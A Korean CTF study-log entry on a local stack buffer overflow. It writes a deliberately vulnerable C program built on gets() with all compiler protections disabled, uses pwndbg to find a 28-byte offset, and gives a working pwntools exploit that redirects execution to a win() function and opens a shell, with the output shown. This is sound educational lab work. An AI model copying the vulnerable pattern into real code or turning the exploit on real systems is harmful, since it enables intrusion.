ctf

[Day 1] pwnable 실습

숨usm 2025. 10. 7. 02:19

#2025-10-07-(화)

🛠️ 환경 설정

개발 환경

  • OS: Ubuntu (UTM)
  • Editor: VSCode (SSH 연결)
  • 언어: C, Python3

설치한 도구들

bash
# 기본 도구
sudo apt update
sudo apt install -y gdb gdb-multiarch gcc make git

# Python & pwntools
sudo apt install -y python3 python3-pip
pip3 install pwntools

# pwndbg (GDB 플러그인)
cd ~
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

Buffer Overflow란?

기본 개념

**Buffer Overflow (BOF)**는 버퍼에 할당된 크기보다 많은 데이터를 입력하여 인접한 메모리를 덮어쓰는 취약점입니다.

공격 원리

정상 스택:
┌─────────────────┐
│  Return Address │ ← main으로 복귀
├─────────────────┤
│  Saved EBP      │
├─────────────────┤
│  buffer[16]     │ ← 입력 저장
└─────────────────┘

공격 후:
┌─────────────────┐
│  0x08049196     │ ← win() 주소로 변조!
├─────────────────┤
│  AAAA           │ ← 오버플로우
├─────────────────┤
│  AAAAAAAAAA...  │ ← 버퍼 오버플로우
└─────────────────┘

핵심: Return Address를 조작하여 프로그램 흐름을 원하는 함수로 변경


취약점 분석 위한 예시 코드 작성 (test.c)

c
#include <stdio.h>
#include <stdlib.h>

void win() {
    printf("🎉 You win!\n");
    system("/bin/sh");
}

void vuln() {
    char buffer[16];
    printf("Input: ");
    gets(buffer);  // 취약한 함수!
    printf("You entered: %s\n", buffer);
}

int main() {
    vuln();
    return 0;
}

취약점 분석

  • gets() 함수: 입력 길이를 체크하지 않음
  • 목표: 절대 호출되지 않는 win() 함수 실행
  • 방법: Return Address를 win() 주소로 덮어쓰기

🔧 컴파일

bash
# 보호기법을 모두 끄고 컴파일
gcc -o test test.c -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro

컴파일 옵션 설명

옵션설명

-m32 32비트로 컴파일
-fno-stack-protector Stack Canary 비활성화
-z execstack 스택 실행 가능 (NX 비활성화)
-no-pie PIE 비활성화
-Wl,-z,norelro RELRO 비활성화

보호기법 확인

bash
checksec ./test

출력:

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found  ← 중요!
NX:       NX disabled
PIE:      No PIE

GDB로 분석

1. win() 함수 주소 찾기

bash
gdb ./test
pwndbg> print win
$1 = {void ()} 0x8049196 <win>

win() 주소: 0x08049196

2. 정확한 오프셋 찾기

bash
pwndbg> cyclic 50
pwndbg> run
Input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
# [크래시 발생]

pwndbg> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28

결과: Return Address까지 28바이트

3. 스택 구조 확인

pwndbg> disassemble vuln
...
lea    eax,[ebp-0x1c]    # buffer 위치 (ebp-28)

익스플로잇 작성 (exploit.py)

python
from pwn import *

# 프로세스 실행
p = process('./test')

# win() 함수 주소
win_addr = 0x08049196

# 페이로드 구성
payload = b'A' * 28           # buffer + saved_ebp (28바이트)
payload += p32(win_addr)      # return address → win()

# 로그 출력
log.info(f"Sending payload with offset 28")
log.info(f"win() address: {hex(win_addr)}")

# 페이로드 전송
p.sendline(payload)

# 인터랙티브 모드 (쉘 사용)
p.interactive()

코드 설명

  1. process('./test'): 로컬 바이너리 실행
  2. p32(win_addr): 주소를 리틀 엔디안으로 변환
  3. p.sendline(payload): 페이로드 전송
  4. p.interactive(): 쉘과 상호작용 가능

실행 결과

쉘 획득 성공 예시 화면

$ python3 exploit.py
[+] Starting local process './test': pid 22289
[*] Sending payload with offset 28
[*] win() address: 0x8049196
[*] Switching to interactive mode
Input: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x91\x04\x08
You win
$ whoami
user
$

성공

  • Return Address가 win() 주소로 변조됨
  • win() 함수 실행
  • /bin/sh 쉘 획득

공격 흐름 정리

1. 취약점 발견
   └─> gets() 함수 (버퍼 오버플로우 가능)

2. 타겟 설정
   └─> win() 함수 (0x08049196)

3. 오프셋 계산
   └─> cyclic 패턴으로 28바이트 확인

4. 페이로드 작성
   └─> 'A' * 28 + p32(win_addr)

5. 익스플로잇 실행
   └─> 쉘 획득 성공! 🎉

핵심 개념 정리

Stack Canary 탐지 방법

어셈블리에서 확인:

assembly

mov    eax, gs:0x14              # Canary 가져오기
mov    DWORD PTR [ebp-0xc], eax  # 스택에 저장
...
mov    eax, DWORD PTR [ebp-0xc]  # Canary 확인
sub    eax, DWORD PTR gs:0x14    # 변조 체크
call   __stack_chk_fail          # 변조시 종료

포인트: gs:0x14, __stack_chk_fail 보이면 Canary 활성화!

32비트 vs 64비트

항목32비트 (x86)64비트 (x86-64)

레지스터 EBP, ESP, EIP RBP, RSP, RIP
주소 크기 4바이트 8바이트
컴파일 -m32 -m64 (기본)
pwntools p32(addr) p64(addr)

배운 도구들

pwntools 주요 함수

python
from pwn import *

# 프로세스/네트워크
p = process('./binary')
p = remote('host', port)

# 데이터 변환
p32(0x12345678)  # 32비트 리틀 엔디안
p64(0x12345678)  # 64비트 리틀 엔디안

# 입출력
p.sendline(data)
p.recv()
p.interactive()

# 바이너리 분석
elf = ELF('./binary')
win_addr = elf.symbols['win']

GDB/pwndbg 명령어

bash
# 디스어셈블
disassemble main

# 주소 찾기
print win

# 오프셋 찾기
cyclic 50
cyclic -l $eip

# 레지스터 확인
info registers

# 메모리 확인
x/20wx $esp

트러블슈팅

문제 1: Stack Canary 켜져있음

증상:

mov    eax, gs:0x14  # 이런 코드가 보임
call   __stack_chk_fail

해결: -fno-stack-protector 옵션 추가

문제 2: 쉘이 안 뜸

원인: 오프셋이 틀렸을 가능성

해결: cyclic 패턴으로 정확한 오프셋 재확인

문제 3: 주소가 안 맞음

확인:

bash
gdb ./test
pwndbg> print win

매번 컴파일할 때마다 주소 확인!


📁 전체 코드

GitHub 저장소: suminworld-ctf/pwnable/day01

  • test.c: 취약한 프로그램
  • exploit.py: 익스플로잇 스크립트